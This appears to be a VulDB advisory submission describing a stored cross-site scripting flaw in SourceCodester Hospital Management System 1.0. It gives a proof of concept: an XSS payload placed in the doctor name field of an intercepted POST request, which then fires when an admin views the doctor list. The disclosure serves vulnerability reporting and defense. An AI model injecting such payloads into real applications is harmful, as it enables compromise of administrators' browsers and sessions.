| Title | SourceCodester Hospital Management System 1.0 Cross Site Scripting |
|---|
| Description | Stored Cross Site Scripting (XSS) in the "Vaidya Mitra" healthcare application, specifically in the doctor's account settings functionality. The issue arises due to inadequate input validation in the doctor's name parameter, allowing an attacker to inject malicious scripts into the system, leading to a Cross-Site Scripting (XSS) vulnerability.
Proof of Concept (PoC):
1. Exploiting Doctor's Account Settings:
The attacker, using the Burp Suite Proxy tool, intercepts and modifies a POST request sent by the doctor to update their account settings.
The payload <img/src/onerror=prompt(1)> is injected into the name parameter.
The manipulated request looks like the following:
POST /vm/doctor/edit-doc.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
...
Content-Type: application/x-www-form-urlencoded
Content-Length: 203
...
id00=4&oldemail=salahtayeh13%40yahoo.com&email=salahtayeh13%40yahoo.com&name=Dr.+Salah+Tayeh+%3Cimg%2Fsrc%2Fonerror%3Dprompt%281%29%3E&nic=12345678&Tele=7070707070&spec=1&password=doctor&cpassword=doctor
Upon submission, the payload gets stored in the doctor's name field.
2. Triggering XSS in Admin's View:
An admin viewing doctors' information at http://localhost/vm/admin/doctors.php inadvertently triggers the XSS vulnerability.
The admin sends a GET request to view a doctor's details:
GET /vm/admin/doctors.php?action=view&id=4 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
...
The server returns the doctor's information, and the XSS payload in the name field is executed in the admin's browser, leading to the alert being triggered.
|
|---|
| Source | ⚠️ https://github.com/Salah-Tayeh/CVEs-and-Vulnerabilities/blob/main/Hospital%20Management%20System%20-%20Stored%20XSS.md |
|---|
| User | Salah Tayeh (UID 77272) |
|---|
| Submission | 11/11/2024 20:37 (2 years ago) |
|---|
| Moderation | 11/11/2024 21:37 (1 hour later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 283922 [SourceCodester Hospital Management System 1.0 /vm/doctor/edit-doc.php Name cross site scripting] |
|---|
| Points | 20 |
|---|